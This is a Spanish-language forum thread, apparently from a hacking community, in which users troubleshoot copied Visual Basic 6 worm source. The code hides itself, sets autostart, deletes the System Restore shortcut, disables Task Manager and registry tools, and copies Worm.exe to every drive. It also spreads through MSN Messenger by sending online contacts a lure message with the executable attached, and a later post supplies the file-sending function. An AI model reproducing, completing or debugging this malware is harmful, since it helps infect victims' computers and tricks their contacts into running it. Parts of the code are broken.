Problemas cn la guia de Heldrix... ( VB )

[Cheatmaster]

Código:

Private Sub Form_Load()
App.TaskVisible = False
Shell "cmd.exe /c comandodelMS-dos"
Shell "cmd.exe /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v 69 /d C:\Windows\appPach\69.exe"
Kill "C:\Documents and Settings\All Users\Menú\Inicio\Programas\Accesorios\Herramientas del sistema\Restaurar sistema.lnk"
Shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disabletaskmgr /t reg_dword /d ""1"" /f"
Shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disableregistrytools /t reg_dword /d ""1"" /f"

Open "C:\Windows\System32\Winlog.bat" For Output As #1
Print #1, "@echo off"
Print #1, "If exist D:\ (Copy /y C:\Windows\System32\Worm.exe D:\Worm.exe)"
Print #1, "If exist E:\ (Copy /y C:\Windows\System32\Worm.exe E:\Worm.exe)"
Print #1, "If exist F:\ (Copy /y C:\Windows\System32\Worm.exe F:\Worm.exe)"
Print #1, "If exist G:\ (Copy /y C:\Windows\System32\Worm.exe G:\Worm.exe)"
Print #1, "If exist H:\ (Copy /y C:\Windows\System32\Worm.exe H:\Worm.exe)"
Print #1, "If exist X:\ (Copy /y C:\Windows\System32\Worm.exe X:\Worm.exe)"
Print #1, "If exist Y:\ (Copy /y C:\Windows\System32\Worm.exe Y:\Worm.exe)"
Print #1, "If exist W:\ (Copy /y C:\Windows\System32\Worm.exe W:\Worm.exe)"
Print #1, "If exist Z:\ (Copy /y C:\Windows\System32\Worm.exe Z:\Worm.exe)"
Print #1, "exit"
Close #1
Shell ("C:\Windows\System32\Winlog.bat"), vbHide

On Error GoTo NotCompatible
Set w = CreateObject("Messenger.UIAutomation")
For Each ConTacto In w.MyContacts 'Vamos de contacto en contacto
If ConTacto.Status = 2 Then 'Si el contacto esta OnLine...
Set iMsn = w.InstantMessage(ConTacto.SigninName) 'abrimos la ventana de chat
Call SpamMsn(iMsn.hwnd) 'Esta funcion es la que hace el trabajo
[color=red]Next[/color]
End If
Exit Sub
NotCompatible:
MsgBox "[color=red]No tienes MSN instalado en el sistema[/color]", vbCritical, "Error"
Private Sub SpamMsn(ByVal mHwnd)
On Error Resume Next
Dim l As Long, spam As String
l = FindWindowEx(mHwnd, 0, "DirectUIHWND", vbNullString) 'Buscamos esa clase dentro de la
ventana
If l = 0 Then Exit Sub 'Si no es asi, nos vamos al carajo
Call SendText(l, "Olle mira el juego que emos echo con unos amigos") 'Mensaje a enviar
EnviarFile App.Path & "\" & App.EXEName & "69.exe", l 'Archivo a enviar
End Sub
Public Sub SendText(pIMWindow As Long, sText As String)
Dim hDirectUI As Long, hPrevWnd As Long
Dim i As Integer
hDirectUI = pIMWindow
Do
Call SetForegroundWindow(hDirectUI)
Loop Until GetForegroundWindow = hDirectUI
For i = 1 To Len(sText)
Call PostMessage(hDirectUI, WM_CHAR, Asc(Mid(sText, i, 1)), 0&)
Next i
Call PostMessage(hDirectUI, WM_KEYDOWN, VK_RETURN, 0&)
Call PostMessage(hDirectUI, WM_KEYUP, VK_RETURN, 0&)
End Sub

Open "C:\Windows|System32\System32.txt" For Output As #1
Print #1, "sesentaynueve"
Close #1
Set Worm = CreateObject("WScript.Shell")
Worm.RegWrite ("HKLM\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page"), "69"
Set firma = CreateObject("WScript.Shell")
firma.RegWrite ("HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\RegisteredOrganization"), "SesentayNueve"
Set firma = CreateObject("WScript.Shell")
firma.RegWrite ("HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\RegisteredOwner"), "Hackeador por:69"

Que tiene mal no me deja crear el .exe :L
Y es Copiado no lo entiendo  me da error en lo señalado

[ziBboh]

Oie brother te estas pirañeando bien gacho el programa de Hendrix, cosa que para mi, esta mal, creo que por puro respeto hacia el, que es un excelente programador en VB6 y BAT como minimo deberias de entender lo que haces ya que solo estas cambiando palabras de codigo de fuente de el.

Bueno, es todo lo que puedo decir, pero es solo mi punto de vista.

Ahh y saludos a Hendrix

Esto es magnifico ] "Hackeador por:69" [

[Cheatmaster]

no no si ni lo e tocao solo simpremente lo copie el codigo fuente y wala al crear el exe pa provar me da error

[zXxOsirisxXz]

no no si ni lo e tocao solo simpremente lo copie el codigo fuente y wala al crear el exe pa provar me da error

El problema es... k eso es solo para poner tu Gusano aun mas dificil de borrar y propagandolo a otros drivers, y al mismo tiempo, borrando el link del System Restore y el Regedit, esto no es un copy/Paste y tara, tengo un Gusano. Deves tener uno echo ya. 

[Alexcom]

Hola tengo problema con esta funcion:

Public Function EnviarFile(ByVal DirPath As String, hwn As Long) As Boolean
Dim X As Long
Dim Edit As Long
Dim ParentHWnd As Long
Dim hWndText As String
Dim t As Single
Call PostMessage(GetWindowLong(hwn, GWL_HWNDPARENT), WM_COMMAND, 40275, 0)
DoEvents
X = GetWindow(GetDesktopWind ow(), GW_CHILD)
'hWndText = fWindowText(X)
t = Timer
Do Until (InStr(hWndText, "Enviar") <> 0 Or (InStr(hWndText, "Send") <> 0))
X = GetWindow(X, GW_HWNDNEXT)
'hWndText = fWindowText(X)
If Format(Timer - t, "0.00") > 5 Then GoTo FIN
Loop
Edit = FindWindowEx(X, 0, "Edit", vbNullString)
If Edit = 0 Then
Edit = FindWindowEx(X, 0, "ComboBoxEx32", vbNullString)
Edit = FindWindowEx(Edit, 0, "ComboBox", vbNullString)
End If
If Edit = 0 Then Exit Function
Call SendMessageByS tring(Edit, WM_SETTEXT, 0, DirPath)
Call PostMessage(Edit, WM_KEYDOWN, VK_RETURN, 0&)
Call PostMessage(Edit, WM_KEYUP, VK_RETURN, 0&)
EnviarFile = True
FIN:
End Function

Mis dudas son q'  fWindowText,  funcion que no se encuentra en el documento...po r motivo de eso la borre ya que al ejecutarlo me acusa que no se encuentra esa funcion...y lo otro es q' no me envia la ruta donde se encuentra el archivo a la ventana del chat...